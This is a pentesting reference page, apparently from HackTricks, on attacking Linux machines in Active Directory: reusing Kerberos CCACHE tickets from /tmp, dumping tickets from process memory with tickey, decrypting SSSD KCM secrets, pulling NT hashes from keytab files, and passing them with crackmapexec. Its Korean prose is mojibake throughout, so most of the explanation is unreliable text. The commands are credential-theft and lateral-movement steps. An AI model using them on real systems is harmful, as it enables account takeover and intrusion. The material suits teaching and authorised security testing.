Linux Active Directory
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฆฌ๋ ์ค ๋จธ์ ์ Active Directory ํ๊ฒฝ ๋ด์ ์กด์ฌํ ์ ์์ต๋๋ค.
AD์ ๋ฆฌ๋ ์ค ๋จธ์ ์ ํ์ผ ๋ด์ ๋ค์ํ CCACHE ํฐ์ผ์ ์ ์ฅํ ์ ์์ต๋๋ค. ์ด ํฐ์ผ์ ๋ค๋ฅธ kerberos ํฐ์ผ์ฒ๋ผ ์ฌ์ฉ๋๊ณ ๋จ์ฉ๋ ์ ์์ต๋๋ค. ์ด ํฐ์ผ์ ์ฝ์ผ๋ ค๋ฉด ํฐ์ผ์ ์ฌ์ฉ์ ์์ ์์ด๊ฑฐ๋ root์ฌ์ผ ํฉ๋๋ค.
Enumeration
๋ฆฌ๋ ์ค์์ AD ์ด๊ฑฐ
๋ฆฌ๋ ์ค(๋๋ Windows์ bash)์์ AD์ ์ ๊ทผํ ์ ์๋ค๋ฉด https://github.com/lefayjey/linWinPwn๋ฅผ ์ฌ์ฉํ์ฌ AD๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค.
๋ฆฌ๋ ์ค์์ AD๋ฅผ ์ด๊ฑฐํ๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ๋ ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
389, 636, 3268, 3269 - Pentesting LDAP
FreeIPA
FreeIPA๋ Microsoft Windows Active Directory์ ๋ํ ์คํ ์์ค ๋์์ผ๋ก, ์ฃผ๋ก Unix ํ๊ฒฝ์ ์ํด ์ค๊ณ๋์์ต๋๋ค. Active Directory์ ์ ์ฌํ ๊ด๋ฆฌ ๊ธฐ๋ฅ์ ์ํด MIT Kerberos ํค ๋ฐฐํฌ ์ผํฐ์ ์์ ํ LDAP ๋๋ ํ ๋ฆฌ๋ฅผ ๊ฒฐํฉํฉ๋๋ค. CA ๋ฐ RA ์ธ์ฆ์ ๊ด๋ฆฌ๋ฅผ ์ํ Dogtag Certificate System์ ํ์ฉํ๋ฉฐ, ์ค๋งํธ์นด๋๋ฅผ ํฌํจํ ๋ค์ค ์ธ์ฆ์ ์ง์ํฉ๋๋ค. Unix ์ธ์ฆ ํ๋ก์ธ์ค๋ฅผ ์ํด SSSD๊ฐ ํตํฉ๋์ด ์์ต๋๋ค. ์ด์ ๋ํด ๋ ์์๋ณด๋ ค๋ฉด:
ํฐ์ผ ๋ค๋ฃจ๊ธฐ
Pass The Ticket
์ด ํ์ด์ง์์๋ ๋ฆฌ๋ ์ค ํธ์คํธ ๋ด์์ kerberos ํฐ์ผ์ ์ฐพ์ ์ ์๋ ๋ค์ํ ์ฅ์๋ฅผ ์ฐพ์ ์ ์์ผ๋ฉฐ, ๋ค์ ํ์ด์ง์์๋ ์ด CCache ํฐ์ผ ํ์์ Kirbi(Windows์์ ์ฌ์ฉํด์ผ ํ๋ ํ์)๋ก ๋ณํํ๋ ๋ฐฉ๋ฒ๊ณผ PTT ๊ณต๊ฒฉ์ ์ํํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ธ ์ ์์ต๋๋ค:
/tmp์์ CCACHE ํฐ์ผ ์ฌ์ฌ์ฉ
CCACHE ํ์ผ์ Kerberos ์๊ฒฉ ์ฆ๋ช
์ ์ ์ฅํ๊ธฐ ์ํ ์ด์ง ํ์์ผ๋ก, ์ผ๋ฐ์ ์ผ๋ก /tmp์ 600 ๊ถํ์ผ๋ก ์ ์ฅ๋ฉ๋๋ค. ์ด ํ์ผ์ **์ด๋ฆ ํ์ krb5cc_%{uid}**๋ก ์๋ณ๋๋ฉฐ, ์ด๋ ์ฌ์ฉ์์ UID์ ๊ด๋ จ์ด ์์ต๋๋ค. ์ธ์ฆ ํฐ์ผ ๊ฒ์ฆ์ ์ํด **ํ๊ฒฝ ๋ณ์ KRB5CCNAME**์ ์ํ๋ ํฐ์ผ ํ์ผ์ ๊ฒฝ๋ก๋ก ์ค์ ํ์ฌ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค.
env | grep KRB5CCNAME์ผ๋ก ์ธ์ฆ์ ์ฌ์ฉ๋๋ ํ์ฌ ํฐ์ผ์ ๋์ดํฉ๋๋ค. ํ์์ ์ด์ ๊ฐ๋ฅํ๋ฉฐ, export KRB5CCNAME=/tmp/ticket.ccache๋ก ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํ์ฌ ํฐ์ผ์ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค. Kerberos ํฐ์ผ ์ด๋ฆ ํ์์ krb5cc_%{uid}์ด๋ฉฐ, ์ฌ๊ธฐ์ uid๋ ์ฌ์ฉ์ UID์
๋๋ค.
# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
CCACHE ํฐ์ผ ์ฌ์ฌ์ฉ from keyring
ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋ Kerberos ํฐ์ผ์ ์ถ์ถ๋ ์ ์์ต๋๋ค, ํนํ ๋จธ์ ์ ptrace ๋ณดํธ๊ฐ ๋นํ์ฑํ๋ ๊ฒฝ์ฐ (/proc/sys/kernel/yama/ptrace_scope). ์ด ๋ชฉ์ ์ ์ํ ์ ์ฉํ ๋๊ตฌ๋ https://github.com/TarlogicSecurity/tickey์์ ์ฐพ์ ์ ์์ผ๋ฉฐ, ์ธ์
์ ์ฃผ์
ํ๊ณ ํฐ์ผ์ /tmp๋ก ๋คํํ์ฌ ์ถ์ถ์ ์ฉ์ดํ๊ฒ ํฉ๋๋ค.
์ด ๋๊ตฌ๋ฅผ ๊ตฌ์ฑํ๊ณ ์ฌ์ฉํ๊ธฐ ์ํด์๋ ์๋ ๋จ๊ณ๋ฅผ ๋ฐ๋ฆ ๋๋ค:
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
์ด ์ ์ฐจ๋ ๋ค์ํ ์ธ์
์ ์ฃผ์
์ ์๋ํ๋ฉฐ, ์ฑ๊ณต ์ ์ถ์ถ๋ ํฐ์ผ์ /tmp์ __krb_UID.ccache๋ผ๋ ๋ช
๋ช
๊ท์น์ผ๋ก ์ ์ฅํฉ๋๋ค.
SSSD KCM์ CCACHE ํฐ์ผ ์ฌ์ฌ์ฉ
SSSD๋ /var/lib/sss/secrets/secrets.ldb ๊ฒฝ๋ก์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ณต์ฌ๋ณธ์ ์ ์งํฉ๋๋ค. ํด๋น ํค๋ /var/lib/sss/secrets/.secrets.mkey ๊ฒฝ๋ก์ ์จ๊ฒจ์ง ํ์ผ๋ก ์ ์ฅ๋ฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก, ํค๋ root ๊ถํ์ด ์๋ ๊ฒฝ์ฐ์๋ง ์ฝ์ ์ ์์ต๋๋ค.
**SSSDKCMExtractor**๋ฅผ โdatabase ๋ฐ โkey ๋งค๊ฐ๋ณ์์ ํจ๊ป ํธ์ถํ๋ฉด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ตฌ๋ฌธ ๋ถ์ํ๊ณ ๋น๋ฐ์ ๋ณตํธํํฉ๋๋ค.
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
์๊ฒฉ ์ฆ๋ช ์บ์ Kerberos blob์ Mimikatz/Rubeus์ ์ ๋ฌํ ์ ์๋ ์ฌ์ฉ ๊ฐ๋ฅํ Kerberos CCache ํ์ผ๋ก ๋ณํ๋ ์ ์์ต๋๋ค.
CCACHE ํฐ์ผ ์ฌ์ฌ์ฉ from keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
/etc/krb5.keytab์์ ๊ณ์ ์ถ์ถ
๋ฃจํธ ๊ถํ์ผ๋ก ์ด์๋๋ ์๋น์ค์ ํ์์ ์ธ ์๋น์ค ๊ณ์ ํค๋ /etc/krb5.keytab ํ์ผ์ ์์ ํ๊ฒ ์ ์ฅ๋ฉ๋๋ค. ์ด ํค๋ ์๋น์ค์ ๋น๋ฐ๋ฒํธ์ ์ ์ฌํ๋ฉฐ, ์๊ฒฉํ ๊ธฐ๋ฐ์ฑ์ ์๊ตฌํฉ๋๋ค.
keytab ํ์ผ์ ๋ด์ฉ์ ๊ฒ์ฌํ๊ธฐ ์ํด **klist**๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ๋๊ตฌ๋ ์ฌ์ฉ์ ์ธ์ฆ์ ์ํ NT Hash๋ฅผ ํฌํจํ ํค ์ธ๋ถ ์ ๋ณด๋ฅผ ํ์ํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ํนํ ํค ์ ํ์ด 23์ผ๋ก ์๋ณ๋ ๋ ๊ทธ๋ ์ต๋๋ค.
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
Linux ์ฌ์ฉ์์๊ฒ **KeyTabExtract**๋ NTLM ํด์ ์ฌ์ฌ์ฉ์ ์ํด ํ์ฉํ ์ ์๋ RC4 HMAC ํด์๋ฅผ ์ถ์ถํ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค.
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
macOS์์ **bifrost**๋ keytab ํ์ผ ๋ถ์์ ์ํ ๋๊ตฌ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
./bifrost -action dump -source keytab -path /path/to/your/file
์ถ์ถ๋ ๊ณ์ ๋ฐ ํด์ ์ ๋ณด๋ฅผ ํ์ฉํ์ฌ **crackmapexec**์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฒ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
References
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://github.com/TarlogicSecurity/tickey
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


